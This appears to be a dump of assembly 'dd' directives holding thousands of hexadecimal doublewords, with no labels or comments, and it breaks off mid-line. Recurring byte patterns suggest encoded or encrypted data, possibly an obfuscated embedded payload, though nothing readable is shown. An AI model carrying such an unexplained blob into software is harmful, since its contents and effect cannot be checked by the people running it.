dd 15FE6668h, 30B244CFh, 136F62B3h, 0BF6A4E53h, 565DB126h dd 0A9EEEAEBh, 0A4E8272h, 97CE697Ch, 0C23ACFADh, 986C8190h dd 0F1A73152h, 0EDB2786h, 565DA1DBh, 0D045AE32h, 8FA075B5h dd 0C6597C61h, 4F051CDFh, 5B03EB31h, 175B132h, 6DB1BA89h dd 77C1F85Ch, 91A1700h, 56D7B15Ah, 5729BE32h, 0AED5B132h dd 0A913B158h, 0B0F43280h, 933AD135h, 565058C3h, 0C934B132h dd 5CA46F63h, 0B95C9BCDh, 37C20125h, 371261CDh, 56645952h dd 0F48EB132h, 3E548CA2h, 7EB55Fh, 0A959836Bh, 3059133Ch dd 378B61B9h, 4066BEF1h, 0BF75B132h, 56BAB123h, 7C90CAAAh dd 6DE3CC8Fh, 0E1374F2Ah, 1D6F1A8Eh, 0BFB5E459h, 56EAB13Dh dd 12CF438Dh, 0B6EA16FCh, 0AB29F56Ah, 5925A342h, 5657B2BCh dd 0AD1CBE32h, 0BF393A53h, 56EAB121h, 5744D5DDh, 627A794Bh dd 7D449984h, 4E02058Fh, 361D3FEBh, 56AC313Dh, 30B5B132h dd 92FD42B3h, 56755953h, 0D7E0B132h, 0B0FC1BD8h, 0E8C8D135h dd 0BF3786CCh, 56ABB13Bh, 9DBD968Fh, 1E1077CEh, 5914D0CAh dd 56BAB9B8h, 0ADD6D132h, 0D19C0F54h, 5E223A53h, 56ABB8DBh dd 0EC0DDC32h, 749FDA0h, 0C69D04E8h, 36BAB13Dh, 189330CEh dd 37BD1F43h, 0A9AE4967h, 0B0D4BEA0h, 4351BE35h, 59EAB132h dd 5675BEB6h, 56B05832h, 61BDB132h, 0F758575Dh, 7CC60964h dd 4A22BE6Fh, 59D5B132h, 56EAA7B2h, 56645832h, 0FC63B132h dd 1B8AEDE2h, 4562892Fh, 6059FACBh, 6DBD2F71h, 0D3DABD47h dd 0A9154E90h, 5675B6DBh, 0DCC39232h, 593F74FEh, 56A197DAh dd 5BD4BE32h, 0BFABB132h, 56D5B13Ah, 0A02981Ch, 0D97A48BDh dd 56BB3D3Dh, 37A8B132h, 56AEA2DBh, 0BE6E0932h, 49EFA07Eh dd 0FB0BD238h, 6F0306B1h, 605F4DBDh, 4E30BEFBh, 0BF5DB132h dd 56AEB121h, 0BF0E1EFAh, 671E1A29h, 87F2EDB2h, 8CD21A92h dd 94B6B874h, 0D7B5B13Ah, 565DB13Fh, 56AEB9DBh, 0A5742D32h dd 1809E38Bh, 0E9B5E474h, 555CC7D6h, 0DD1448B8h, 543DBEDEh dd 365DB132h, 442FBE53h dd 0BF57B132h, 56ABB13Fh, 442CE929h, 2A7E20A8h, 5BE326BCh dd 0AA7E327Fh, 565DB6DBh, 9F4B1832h, 0E1676D8h, 0DDCDD164h dd 3682D0C5h, 371A3A54h, 50F9BE52h, 59BAB132h, 565DB1BCh dd 0BFFDD032h, 5657B135h, 0B439B9F7h, 0BEFB5387h, 56EAB132h dd 729F3068h, 0BFBD5791h, 565DB121h, 66FB168Bh, 22A1A2A1h dd 8F738C5h, 3D953670h, 0BF41B0C1h, 5675B13Ch, 1AAB9515h dd 0EC19075Ah, 10903D94h, 23DCC0A7h, 5120BE3Ah, 59D5B132h dd 56EAB0B9h, 2BFE4832h, 56B75822h, 358CB132h, 0E03A92DDh dd 0CC44A6FAh, 0A32B0E9Ah, 463CD165h, 79EAB132h, 0C3409837h dd 33EE00DCh, 74BFD0F7h, 59C879DDh, 0AE36788Dh, 56A25864h dd 31DB132h, 5B2A8629h, 592ABD75h, 56BAB6B3h, 30A4D132h dd 37CF3E88h, 56561BDAh, 56AC5832h, 5475B132h, 0E408A0F0h dd 57F9BE25h, 0AABAB132h, 0D2527139h, 56AEB1ECh, 36AF3AC7h dd 0B82AD761h, 0BF8DCE09h, 56EAB13Dh, 2167354Fh, 1F639CA4h dd 64AC2CF7h, 370ABA64h, 56435867h, 0F13AB132h, 0DD75C0CFh dd 0CE52E6FDh, 9D0AF935h, 0B4AEE087h, 0C4A232E5h, 5148CE3Dh dd 0D737ECC7h, 0BDAA50E1h, 0C46BD72Bh, 0D7E5D073h, 5675B13Ch dd 56BAB8DBh, 33587232h, 0EBE00A9Eh, 236C858Bh, 252FBE3Eh dd 0BFD5B132h, 56EAB135h, 13C83335h, 3040ACB5h, 0D6A4AFB9h dd 5F4741D5h, 0C257B132h, 286826E3h, 418F8919h, 5903AFB8h dd 5C75B132h, 720D6912h, 93B64593h, 0E6650DE5h, 0E3373389h dd 0C15C300Fh, 37AE575Bh, 0AE1A52B2h, 565265DAh, 56B25832h dd 0C778B132h, 56AEBF3Fh, 0B7BED330h, 0BF544ECCh, 56D5B120h dd 7DA6AB2Eh, 9DEA0554h, 0B22AA227h, 0C4094950h, 2B271A64h dd 53BFD1CEh, 87ABB132h, 20E44229h, 59B5EA63h, 5675B3BBh dd 37DBD132h, 565C303Dh, 0BE56B132h, 0A9A844FEh, 56AC353Dh dd 0DADAB132h, 56EAB133h, 0AF2E4DCEh, 56A9586Dh, 5CAEB132h dd 0B9599BCDh, 0DD400125h, 173FD596h, 9D40715Dh, 5D03EF39h dd 5B75B132h, 43C3550Fh, 25D02C5Bh, 4747651Fh, 8D57B132h dd 7AB7408h, 54FF218Bh, 0EF2303C6h, 68A2866Ah, 0BF46F4B9h dd 565DB135h, 3BE0DAFFh, 9FEE73A8h, 56A53F3Dh, 0D7B5B132h dd 17AAA0D1h, 56F1BE54h, 37BAB132h, 595DBDF0h, 56AEB6B6h dd 66ECD132h, 37C2BE10h, 56D43B3Dh, 312B132h, 87CABE52h dd 56BAB8DBh, 0DF845C32h, 8B68880Ch, 0DD36E9DFh, 572EBEDEh dd 0AFD5B132h, 0BF1275B1h, 5675B120h, 0D863944h, 0A3164FB7h dd 3AB48D8Bh, 5E5D932Dh, 0AEFC06C3h, 56C45864h, 984DB132h dd 4488BF92h, 5A2A9A64h, 78156184h, 7269F92h, 5657BBDBh dd 0FB69F732h, 30168E8Dh, 56705AEh, 0D47AD152h, 56BAB132h dd 37963A53h, 5656F4F5h, 0AE57B132h, 0D67633F5h, 56D4B6D4h dd 0DBE5B132h, 5675B133h, 5ECF3ACAh, 565DBCDBh, 0AFA63332h dd 84B7FBD0h, 0D8B214E3h, 0DDB3EAB8h, 0E1E5D12Ch, 566758C4h dd 79A1B132h, 0D775BF57h, 0B972676Eh, 0D6063890h, 6906F38Eh dd 286F3A53h, 0AEED574Ch, 0BF7DEEB9h, 56BAB120h, 0E8E2174Dh dd 7EB7E6D4h, 6AF352D0h, 5BA91CE5h, 8DDEFEB3h, 569A353Dh dd 459CB132h, 58BAB132h, 6AC960A1h, 0C3B00F95h, 7B12520Bh dd 2E0450B4h, 88EE229Bh, 56C6343Dh, 0E515B132h, 0A40DBED9h dd 5A003A53h, 1D773052h, 372ED242h, 0BFA7EEBBh, 56D5B120h dd 67436731h, 0C1DC251Eh, 5D5EE639h, 285ED450h, 912D9059h dd 5CD5BE26h, 36ABB132h, 0EE25063Dh, 7AB68226h, 0A90F5853h dd 59DA4ECDh, 565DB5BAh, 0ED17D732h, 0DD31D0F0h, 0AD2B4D2Ch dd 0F051BEDAh, 36EAB131h, 592EE252h, 59DB4A85h, 565DB7B3h dd 5628BE32h, 3757B132h, 59424AB2h, 56D639B6h, 56E15832h dd 0E609B132h, 3FCEB1B0h, 3A25CDACh, 0BD553147h, 5538353Dh dd 0D1A4B132h, 56D5B13Ah, 56E8303Dh, 3715B132h, 59584AB2h dd 565E8EB6h, 0DDC8D132h, 0ADD7D0EDh, 5A2FBED1h, 0AFD5B131h dd 31113054h, 73F1BED1h, 0AEBAB131h, 36AD56B2h, 0C080EB8Dh dd 56515930h, 0D17FB132h, 0EE152D00h, 0D78CD06Bh, 59F5BEC9h dd 56B9ADB6h, 564D5832h, 7BBEB132h, 3AC928D1h, 6E3DA951h dd 0D0C9EADh, 0B56A4E72h, 46F6BEC2h, 0BFBAB132h, 565DB139h dd 761040E3h, 82A5F87Eh, 0D6481C8Ch, 0D2DAC1C9h, 56EAB3D7h dd 56653E3Dh, 0D4B5B132h, 565DB138h, 56AEB4DBh, 0FD0F3C32h dd 0DDCD1562h, 5F5FBE2Ch, 36EAB132h, 7DCCD052h, 378CCE72h dd 0A3A552B2h, 0EE5531CEh, 5706353Dh, 5D42B132h, 7DD5B132h dd 0F711802h, 10B66E7Fh, 683AEAB2h, 6ED9BE37h, 59AEB133h dd 5657A2B1h, 5D43D132h, 0ACD5B132h, 15F1F03Ah, 0C869FDFh dd 37E38AC2h, 59708FB2h, 56AFA7B6h, 0AF04D132h, 1547316Dh dd 3EEB3153h, 57EF353Dh, 3015B132h, 0ED6462B3h, 0A93C7AB9h dd 0B02E6CB0h, 56455835h, 0FC6CB132h, 312D9A8Ch, 28FCF5F0h dd 0B9EDA132h, 7EF729FCh, 0BF433A54h, 56AEB120h, 0C92AF616h dd 1C345C28h, 769691A9h, 1F78C869h, 0B1F5773Ah, 0D7DC4DCAh dd 59B530C9h, 56AE07B6h, 0DD314832h, 0D7A4D12Ch, 56D5B130h dd 37127FB9h, 0BF8556B2h, 56BAB123h, 0D8FA7DBEh, 0BD363D7Ah dd 1510AB8Bh, 61B3DB4Bh, 0AD54D725h, 0D2E571B3h, 5675B1B1h dd 56BAA3DBh, 37568832h, 0ED2AF5DAh, 1B560C14h, 435EFEA5h dd 36C8012Fh, 0DE023052h, 0ED341295h, 2C6C1E67h, 0A9A5E453h dd 0B0D1BEA0h, 56515835h, 0D0CAB132h, 0F715CA9Fh, 0A455BE52h dd 5675B8DBh, 58F28132h, 0A03023E7h, 0BCF3BECh, 0AA1238CAh dd 0F612D752h, 59B4D045h, 56EAB6BCh, 0E97AD132h, 37633BECh dd 57A1CCB1h, 54F0343Dh, 5DBEB132h, 94ABB132h, 2E08C20Fh dd 4065C2D5h, 59158A15h, 0DDDB688Dh, 0B6444888h, 56BD5835h dd 0ADBFB132h, 0DC1DC791h, 99F31CA1h, 0D745F0Ah, 26A2D87Dh dd 4753E1FEh, 6E5DB132h, 0EFACD057h, 5C0E4F11h, 6C0DE1AFh dd 63473CD0h, 56EB313Dh, 0DD8CB132h, 0B03A6CB0h, 56575835h dd 7357B132h, 4957227Dh, 0C0416F64h, 425CBE52h, 0BFEAB132h dd 5675B13Dh, 0D2EEDBBFh, 80DA49F9h, 19456717h, 0AE70FECBh dd 66978853h, 56C03B3Dh, 4603B132h, 0ED75B132h, 6393B41Dh dd 2EC5FA7h, 0B4CF7457h, 0E9F5E10h, 571D333Dh, 59B5B132h dd 56EAA9B1h, 56665832h, 86B8B132h, 9F057A96h, 0F3B11495h dd 6FAF0CB5h, 9437659Ah, 9A6ED729h, 0EC61D0D6h, 5195A0A3h dd 56AD3F3Dh, 44B4B132h, 0C8AEB132h, 20FD7EFAh, 0D95D6DDDh dd 0BF02641h, 7C8AEA0Bh, 599CE1C0h, 54BAB132h, 0CD3D8B6h dd 0AFB0CBBFh, 5B6F31Ah, 0D420B4E7h, 513331EFh, 56E23C3Dh dd 0D77AB132h, 56BAB130h, 6A64D052h, 0EDC8D102h, 0BCD6EE47h dd 783D1742h, 0D9DAE953h, 56EAB002h, 564A58CBh, 914FB132h dd 565F4977h, 4547B132h, 4557B132h, 660DC721h, 5A487FE8h dd 9AC53DBFh, 1A8AED4Ah, 4C5358ACh, 0A35DB132h, 5756F4F5h dd 5957B132h, 56ABBDBCh, 505CBE32h, 59EAB132h, 5675B1B5h dd 28003A32h, 595A574Ch, 56AEB0BBh, 49DC4832h, 56B9343Dh dd 5B3CB132h, 0B2EAB132h, 0ADBDFBE8h, 46A2BC71h, 0FA92EB72h dd 0D2A16A39h, 5657B18Eh, 59758ACAh, 56D5E6B7h, 5E03D132h dd 0A475B132h, 387CC9B4h, 37E3B75Ch, 0A3A2ECB9h, 56AFCCB1h dd 56A7353Dh, 37B5B132h, 3612EC31h, 78BD0B54h, 9334453h dd 41D7BE36h, 59AEB132h dd 5657A0BDh, 56A75832h, 6084B132h, 7EED098Eh, 16778F82h dd 5F53566Eh, 2C5DB132h, 729AAF7Dh, 5A5F6EFEh, 36BF76B1h dd 308DE152h, 37E7938Ch, 9AAB3054h, 3153D074h, 59A24ECDh dd 56AEA3BCh, 565A5832h, 4922B132h, 0A8577F4Bh, 556C6E98h dd 65868B63h, 5F53D1F2h, 0F15DB132h, 5774B4E4h, 0D3163BFEh dd 37E169B2h, 56D0AADBh, 5B61BE32h, 3675B132h, 0FC703054h dd 56D7BEBDh, 37AEB132h, 0AF493A54h, 0BFA7CCB9h, 56D5B138h dd 4F76108Eh, 0E6BF25C5h, 4253BF12h, 175DB132h, 0E1557DB2h dd 124D15C3h, 6D6F2A9Ch, 3CDA9F03h, 0D6DAB16Ch, 0D27A5AC9h dd 56BAB140h, 0AED6D752h, 59CFD152h, 37367E8Dh, 595B52B2h dd 56D5BCBBh, 56E25832h, 0BC85B132h, 7164EC1Ah, 0ADDDFE41h dd 0F12ABE42h, 3657B132h, 56ABBCDAh, 9BEB8432h, 9AFAA59Dh dd 5214BE59h, 0D1B5FF66h, 565DB132h, 56A3596Dh, 0FDD9B132h dd 144DF24Ch, 215A0B8Dh, 593F0BDFh, 5675B1B3h, 0BFDBE932h dd 565DB012h, 56AEB8DBh, 0D1639E32h, 38D3EFE0h, 5113501Ah dd 4262BEDBh, 0BF75B132h, 56BAB13Dh, 7A6E54C9h, 6D78048Ch dd 19DEE9B9h, 915EF505h, 56D5B075h, 0DD16B132h, 40FABEF5h dd 0BFBAB132h, 565DB123h, 0F8601CD9h, 0D118E88Fh, 8F08E5F5h dd 8E825E85h, 532A3256h, 5675BADBh, 31383032h, 19B2CE3Eh dd 312A418Fh, 5653B2DBh, 0DDCDD132h, 91B3D0E1h, 0BFE2BE35h dd 5675B137h, 0B97D9916h, 0AF433B95h, 56AEBADBh, 9D106332h dd 0AFD2B1EFh, 8BD09AF3h, 36E552B2h, 567E363Dh, 5053B132h dd 4E5DB132h, 8B10956h, 0DD31E091h, 0D6CAEFC9h, 593C31F9h dd 36EAB132h, 8C605171h, 67CE5983h, 5AE2F503h, 9264A05h dd 565F5833h, 6DD8B132h, 0BDA44704h, 112D80F2h, 5675B130h dd 0DD424432h, 46B4D1F5h, 8AEB132h, 5AD0CF35h, 424E332Dh dd 7E28EDA4h, 598C3394h, 5675B3BAh, 37F30332h, 0AF5B71B1h dd 56A9353Dh, 0D458B132h, 56ABB133h, 558F58CEh, 5F03B132h dd 9175B132h, 26A08959h, 39950F7Bh, 0C6903054h, 0D0D3BEA2h dd 36ABB132h, 372D063Dh, 56EAB4DBh, 3573EC32h, 683A5A88h dd 0C2D8BEA2h, 36AEB132h, 5657BCDAh, 0D26C8632h, 3DA6922Eh dd 0C7CAE876h, 0DD1383D0h, 0C02E8CAh, 372D9057h, 0A9D03054h dd 0D25821A2h, 56ABB177h, 0D7B3E052h, 0DAD9BF5h, 5675B8DAh dd 3C8F6D32h, 0C3A5E8DEh, 0E8C8A381h, 37091BAFh, 56ABFBDBh dd 56D85832h, 72D0B132h, 0A90CAFC8h, 521278B1h, 362EBE1Fh dd 56AEB7DBh, 0A0362032h, 0ED579848h, 207E9AA3h, 362D3A53h dd 5E9CA687h, 5DBAB132h, 3A977981h, 37A443DDh, 792B0952h dd 0DCA4EEABh, 56D5B132h, 547C5853h, 0DB8DB132h, 0B03B54B0h dd 593DD135h, 56AEB1B6h, 0BF36D032h, 56ABB120h, 0ABAE59ACh dd 0C3CFEECFh, 0AF72DEECh, 0F021F1E5h, 590DBF71h, 56AEB0B5h dd 36014D32h, 59F07BB2h, 0A9B47E85h, 0B0959EA0h, 5AFEBE35h dd 59BAB132h, 565DB7B5h, 5624BE32h, 5D57B132h, 4A2FBEF2h dd 0AAD5B132h, 0DB1679B9h, 0B0F45480h, 0D3B54435h, 565DB133h dd 56D758CBh, 3037B132h, 0CA7BB9h, 56D5B4DBh, 5D67132h dd 509C76F4h, 62BAB132h, 0F4786B13h, 0BF603AE5h, 5657B139h dd 0BD06C74Ah, 7DA7AE8Eh, 36423EEh, 5674383Dh, 0A946B132h dd 0B022BEA0h, 0BFF34935h, 5657B134h, 61A2430Eh, 453C01FCh dd 38EAB132h, 7D1977A4h, 9705DEF4h, 6AA9483h, 0BDD38AA2h dd 987C309Eh, 0AF7246CBh, 56D8586Ch, 0B8DFB132h, 864A6723h dd 318A7869h, 0D5956A38h, 59AF494Fh, 56570AB7h, 5C2DBE32h dd 0BFD5B132h, 56EAB137h, 0FD6FE403h, 5737BEB8h, 0A35DB132h dd 30CEF882h, 5948AD8Bh, 0FCCA738Dh, 56D5B8DBh, 0B2BC5432h dd 0E34AD02Ah, 0EEDCA12Fh, 0D352343Dh, 56AEB13Bh, 0DC070E52h dd 0DFDA281h, 367ED753h, 5666BE52h, 0BE75B132h, 56BAB137h dd 0DCC986ADh, 59CFEEABh, 5657BDB5h, 56AC5832h, 90EFB132h dd 0FE1664AAh, 5B9CD093h, 0A5BAB132h, 537E1FCEh, 1E51C9B7h dd 35963075h, 57ED073Dh, 759B0952h, 946BD9BEh, 277627D9h dd 42531A53h, 0F75DB132h, 3208538Fh, 4C82F74Ch, 0EE607519h dd 0A8C1FC1Eh, 0BFD97376h, 5675B1D0h, 537D3052h, 30533FDAh dd 371C478Dh, 54AFCCB1h, 561E343Dh, 5E3CB132h, 0A4EAB132h dd 53339F84h, 308596F8h, 3694BA8Ah, 0E6300E54h, 5657B6DBh dd 0D45F2332h, 0B2E581AEh, 0A316D153h, 36DED753h, 56B15852h dd 0EE34B132h, 45BCB18h, 0D2B082D4h, 594B300Eh, 37E48FFDh dd 371E61B2h, 0D27A0954h, 0E1503152h, 565DA1DBh, 9508032h dd 497C028Eh, 922C37D9h, 9B8668C5h, 3012D0C0h, 58FCBE99h dd 0BFBAB132h, 565DB13Bh, 9608F733h, 82730D50h, 101DBE4Ah dd 0B955D133h, 56EC581Ch, 0ACBBB132h, 3DE73EB2h, 0DE521A53h dd 56AEB13Eh, 56513D3Dh, 0DFA4B132h, 56D5B132h, 56EA94DBh dd 5EFBBE32h, 59BAB132h, 565DB3B8h, 0A5CFD132h, 56475896h dd 0E300B132h, 71893103h, 6E4111E3h, 957CF7E8h, 91311A7Ah dd 565DBADBh, 0C736B332h, 77B9F438h, 988D9BFEh, 0AA8C4D69h dd 0B86AD16Ch, 91444F2h, 56BC5952h, 3583B132h, 1222E560h dd 0CB7B0854h, 9E79306Bh, 37CA318Bh, 5766BEFBh, 0AA75B132h dd 0BFBAB9F0h, 565DB137h, 0E17E3AE1h, 5644581Eh, 0EE52B132h dd 0F9ED77E8h, 2E6D5B3Bh, 0A044C2E3h, 597F62B8h, 58B4E4A9h dd 3BAEB132h, 7B32439h, 118C13A7h, 0BD8A72F4h, 36063A74h dd 5675A3DBh, 45424632h, 1AEEFEF7h, 697A48C0h, 9DC419FCh dd 590962CBh, 56D5B3B6h, 378BD132h, 569D4452h, 0CBAB132h dd 0E6B65BB3h, 0BF57B6D4h, 5657B138h, 580B6B3h, 0F5FD21F5h dd 0DD12207Fh, 0D67AB977h, 56BAB12Eh, 564B323Dh, 4747B132h dd 0E357B132h, 0B1437B6Eh, 34166AD1h, 2323775Fh, 385561ACh dd 286133BBh, 0A33DB6D4h, 0DD643052h, 0BF7CB7CEh, 56ABB138h dd 8001DB3Fh, 452A4CB6h, 3714FC5Fh, 56B65853h, 98F7B132h dd 0C463C29Fh, 35529847h, 0BF622D31h, 56D5B121h, 5D6A2722h dd 3D20692Ch, 0FC8FADC4h, 9E4C59F6h, 9443935Ah, 3037B136h dd 3CA60B9h, 56D43E3Dh, 0DD16B132h, 4BFFBEDEh, 36BAB132h dd 565DA1DBh, 0FC328D32h, 7E20D597h, 1989B372h, 0C527FF64h dd 5663BEE7h, 3775B132h, 0AA4275B1h, 57DBBE52h, 0AFAEB132h dd 5657B1DAh, 0BC2AEB32h, 5133008Bh, 56EB3D3Dh, 598DB132h dd 56BAA6BAh, 564F5832h, 77EEB132h, 6806CE1Ch, 65826A03h dd 811FA422h, 0B690F6E9h, 568DF4F5h, 0BFBAB132h, 565DB13Ah dd 851A6B64h, 0C2653EFDh, 5657F4F5h, 59D5B132h, 56EAB0B7h dd 96464D32h, 0DDDC49CAh, 565A582Ch, 0DC39B132h, 7E711D88h dd 9E21D15Bh, 56D5BADAh, 3AB0C632h, 358AB6Dh, 0F149C0DCh dd 88AC3054h, 91CFE990h, 0B0D76CB0h, 56ABB035h, 575ABE32h dd 0AEEAB132h, 0C68E3054h, 433FBEA2h, 365DB132h, 56AEB4DAh dd 6FD93732h, 842BB3C4h, 0C16CEAD0h, 37B5A71Ch, 599D4AB2h dd 56BE33B6h, 5FB44432h, 7DAEB132h, 33EF0B8Ch, 46F3FDD3h dd 453DD172h, 1FEAB132h, 2E5D6E9Eh, 0C6A31E3Ah, 0AD5575F8h dd 6D6554B1h, 53BF801Ch, 86ABB132h, 9ABB6590h, 5303EF6Ch dd 8F75B132h, 24204CF4h, 0ADDD4853h, 6E2ABEDBh, 0BF57B136h dd 56ABB13Bh, 0BEC3274Ch, 48433C91h, 5915F15Ch, 56BAB2BBh dd 8CD6D732h, 22463054h dd 0ADD7D089h, 462FBED9h, 0BFD5B136h, 56EAB122h, 0F2406F09h dd 7A8180ACh, 6B788654h, 0F7C99C3Eh, 0EFEDD752h, 56AD596Fh dd 0E115B132h, 0ACDE952Eh, 372FD052h, 0B13A4472h, 0ADD6D1C2h dd 0CE713052h, 0DC2FE6C9h, 59CAD0E6h, 56D5BDB7h, 506FBE32h dd 5975B132h, 56BAB1B6h, 0ADDCD732h, 0D2A1313Dh, 5657B285h dd 0FB29B2CAh, 59D25127h, 56EAA8BAh, 45F5BE32h, 0BFBAB132h dd 565DB13Ch, 401AA5Fh, 0AD14183Ah, 0DE83BE8Eh, 0BF95A43Ch dd 56EAB134h, 0E4EF0C7Bh, 0AD3A73CDh, 22D9BED0h, 0BFAEB131h dd 5657B137h, 1AA8A2BCh, 0B52E3190h, 55AE353Dh, 599CB132h dd 0A1BAB132h, 97C600CDh, 0D98E46C7h, 708A98CFh, 0D7CD510Dh dd 5936D6C9h, 56E9F3B6h, 0B5F54832h, 0AD3A44C2h, 6AD9BE42h dd 36AEB131h, 9F993054h, 73100BDDh, 0A3B48919h, 0AEF43A54h dd 0BF8D52B2h, 56BAB13Ah, 0EDF1D437h, 62170C7Ch, 59EF4AB2h dd 56AAC5B6h, 68554932h, 3C6EBE37h, 0BF75B133h, 56BAB121h dd 8108BDF7h, 9811477Eh, 1BECF01Ah, 0C789158Bh, 0D6E2F03Eh dd 0D2E59C0Ch, 5675B07Bh, 3E8431CBh, 5762353Dh, 3656B132h dd 5657BBDBh, 39598332h, 0D2AA0A19h, 0BED090A6h, 5675B126h dd 0BE856F57h, 0A6DB8B30h, 1A78FD85h, 0A04DBF95h, 0AFC5DA9Fh dd 0AF95D06Ah, 56EAA3DBh, 87552832h, 0E0738839h, 1D17DED9h dd 6DE54573h, 0A950D19Ch, 0B02B6CB0h, 0AE20D135h, 4861D753h dd 5675A0DBh, 0A91E4532h, 0E99EF6h, 0DD70A867h, 0C93F8A4Fh dd 0B12B266Dh, 855ED1CAh, 0AD6BD753h, 0D27A59B3h, 56BAB1F7h dd 565DA3DBh, 29434B32h, 71CAFAF4h, 6531553Ah, 8A442E9h dd 3045D56Fh, 3015AFB9h, 0E1B549B9h, 0B1DDD0E0h, 56BC58C2h dd 704B132h, 0AADCA998h, 0A72C78C0h, 51F63964h, 51B61FEEh dd 0D7413054h, 28D9BEF2h, 59AEB132h, 5657B6B7h, 0D7CDD132h dd 37D5D2D1h, 56EF5852h, 0D794B132h, 36C568E9h, 82B53163h dd 374F026Bh, 5BDFBE67h, 0BFABB132h, 56D5B13Ah, 11B5BE7Bh dd 7B6631FCh, 29B523CDh, 0D652B6D4h, 56AEB133h, 0DFAEECCBh dd 0D4A44D77h, 56D5B13Ch, 0A6383052h, 5968C227h, 56BAB1BFh dd 0BF3CD032h, 56AEB120h, 0DF357677h, 9BB1CE23h, 0A02B87E1h dd 27F5A09Bh, 2BF6A9E0h, 0D3B5B0CEh, 565DB7BEh, 0AF143ACBh dd 5950512Bh, 56ABA7BCh, 56C45832h, 0C4CBB132h, 279BFF3h dd 8E968464h, 0C21B3E11h, 6E1D9F9h, 97B13052h, 309E3021h dd 0D61168B3h, 8B683A53h, 367257B2h, 0F05B3054h, 0A9E20BA0h dd 6FCFE280h, 0DD58810Eh, 56ABB122h, 56D5BADBh, 5851DD32h dd 44E21B14h, 4522D5CAh, 7FDFBE6Ah, 0AFAEB134h, 47C60BB9h dd 0DDA4B6D2h, 56D5B139h, 56EAB7DBh, 0BF1E9732h, 6493367h dd 78B33052h, 0BEA1614Dh, 5657B134h, 19FBED09h, 0B955C126h dd 0DD8BE84Fh, 0B0F56CB0h, 56BC5835h, 0F7EDB132h, 6E48F87Ah dd 666B88CEh, 30563B52h, 3767BC8Ch, 0D9E5E9C7h, 5675B4E6h dd 56A33C3Dh, 42B4B132h, 33AEB132h, 7872AFBCh, 38B33A49h dd 95D8B5BAh, 3F391F1Eh, 0DD9AF841h, 0B0C42388h, 5CDDBE35h dd 36AEB132h, 6A3B5BB3h, 0FFBE4E4h, 0C4573253h, 42ED574Ch dd 364238CAh, 30DBD152h, 0D63C4BB9h, 0DFCFDAF6h, 3037A175h dd 6CA68B9h, 8B573ACBh, 59ED57B2h, 5675B7B3h, 0DE8D132h dd 0DD3CEE61h, 0AE56812Eh, 58BED16Ah, 4FABB132h, 0BBDA9628h dd 0CBB10570h, 57783305h, 0D559300Fh, 3736963Fh, 0F510D752h dd 0EF31E714h, 37F387FFh, 0BFDDEEBBh, 56EAB139h, 9426E997h dd 3865734Ah, 0BFA179D7h, 56AEB41Ah, 5657A0DBh, 0E8628032h dd 743AED7Ah, 8A15DDC8h, 4FB86914h, 137DF9D4h, 565DB3CAh dd 0A825D132h, 37A63A54h, 56ABA3DBh, 56D05832h, 0E4FCB132h dd 91FE9811h, 56BB4977h, 0DDA8B132h, 0B0D02388h, 58D2BE35h dd 0BFABB132h, 56D5B13Bh, 2551AEC9h, 3C555D31h, 0C438329Bh dd 425A574Ch, 56AB5852h, 0BBE5B132h, 0DCAEABF5h, 615CD0D0h dd 0DD8CD152h, 372AE6F9h, 56BAA1DBh, 2F6C1D32h, 65676D2Ah dd 99A99002h, 23ECA32h, 115CD08Bh, 56E75822h, 4C4BB132h dd 559EF874h, 0F5905B9Dh, 59F604D2h, 5657BDB5h, 502CBE32h dd 59D5B132h, 56EAB1BEh, 558D3232h, 568B343Dh, 0E53DB132h dd 91CF44A5h, 0B0D76CB0h, 56ABB335h, 56DA5832h, 0F71BB132h dd 872DB28Dh, 0C1356BE1h, 0B63F8D53h, 56B75888h, 3037B132h dd 30F02B8Bh, 0D5B446B9h, 0DBE5B3CAh, 5675B3C4h, 56BB353Dh dd 0D5A5B132h, 59AE494Fh, 565742B6h, 0BB2BD132h, 56D858CDh dd 898B132h, 5C397A2Ah, 8F453E80h, 375C9F79h, 57E8073Dh dd 0DBE3052h, 378D5CE5h, 56D5319Bh, 336FBE32h, 5975B132h dd 56BAAEB4h, 4FD1BE32h, 0BFAEB132h, 5657B126h, 3D030786h dd 0BE526B69h, 8A50ABC8h, 9C9D86E1h, 186553BEh, 43D9BE72h dd 0BFAEB132h, 5657B122h, 0A7D279EAh, 0B91EEE4h, 3F5B6C30h dd 0FC265163h, 56BB393Dh, 0D5A8B132h, 0DFA1B4DAh, 5657B133h dd 0D4248C7h, 59D5B132h, 56EAB6BAh, 57F9BE32h, 0AABAB132h dd 565D4E1Fh, 0BE2D4432h, 0DD58D137h, 56ABB13Dh, 56D5B8DAh dd 0DACD6032h, 0F76B837Bh, 0BEE574DCh, 565DB120h, 0EC26E58Ch dd 0F0D45790h, 2D958A09h, 8423749h, 4602DF99h, 6375B132h dd 0FFAF880Dh, 5483A84h, 86B551BBh, 0DD4C395h, 2342D06Ch dd 36D5B132h, 0EE9C0B63h, 302EED5Eh, 37E1D488h, 4BE2D161h dd 37FA7071h, 5657A5DBh, 58A7B932h, 7FAE4583h, 234ECBA1h dd 0CFCECC39h, 0B84AD634h, 8BC73A14h, 59A957B2h, 5657BDB7h dd 502EBE32h, 59D5B132h, 56EAB1BBh, 56725832h, 2BADB132h dd 0E8ADA61Dh, 65AA3AA3h, 5657B8DBh, 33321932h, 0B937CDFAh dd 0BFB10D3Ah, 5675B13Eh, 0D959CAB4h, 0E0E0BC34h, 0E601E75h dd 5657B19Bh, 0DF2EBEB2h, 0BFD5B132h, 56EAB13Fh, 699C742Fh dd 8980C47Fh, 4D9634A4h, 3668B22Fh, 0D73143B9h, 37E1B2F4h dd 0BFD071B1h, 56EAB120h, 57FF3DE0h, 9B22FF2Eh, 4CFE4E6Bh dd 597D455Bh, 0D658F40Bh, 56ABB128h, 915ED752h, 56EAA1DBh dd 524F8932h, 0F2CD0185h, 0D584F662h, 9441CD31h, 0D454D04Eh dd 514D31EFh, 533C4452h, 23EAB132h, 1B32855Dh, 5353F953h dd 675DB132h, 52D9A157h, 0AA5FF6BBh, 59A7F6BBh, 56D5B0BCh dd 63034932h, 0A375B130h, 0DBB569C5h, 565DB127h, 56AEA1DBh dd 13927032h, 5B524C6Dh, 966F0754h, 0C966EC04h, 36B39A61h dd 59733054h, 0A13C44AFh, 4B2DBEEAh, 5957B132h, 56ABA6B1h dd 56C75832h, 0A7BEB132h, 0DD86A419h, 83114A82h, 3981E71Fh dd 6BE9D547h, 365271B1h, 5625BE52h, 37D5B132h, 56E73A3Dh dd 5E9CB132h, 1DBAB132h, 0F18BF86Ah, 3764611Ah, 5657A1DBh dd 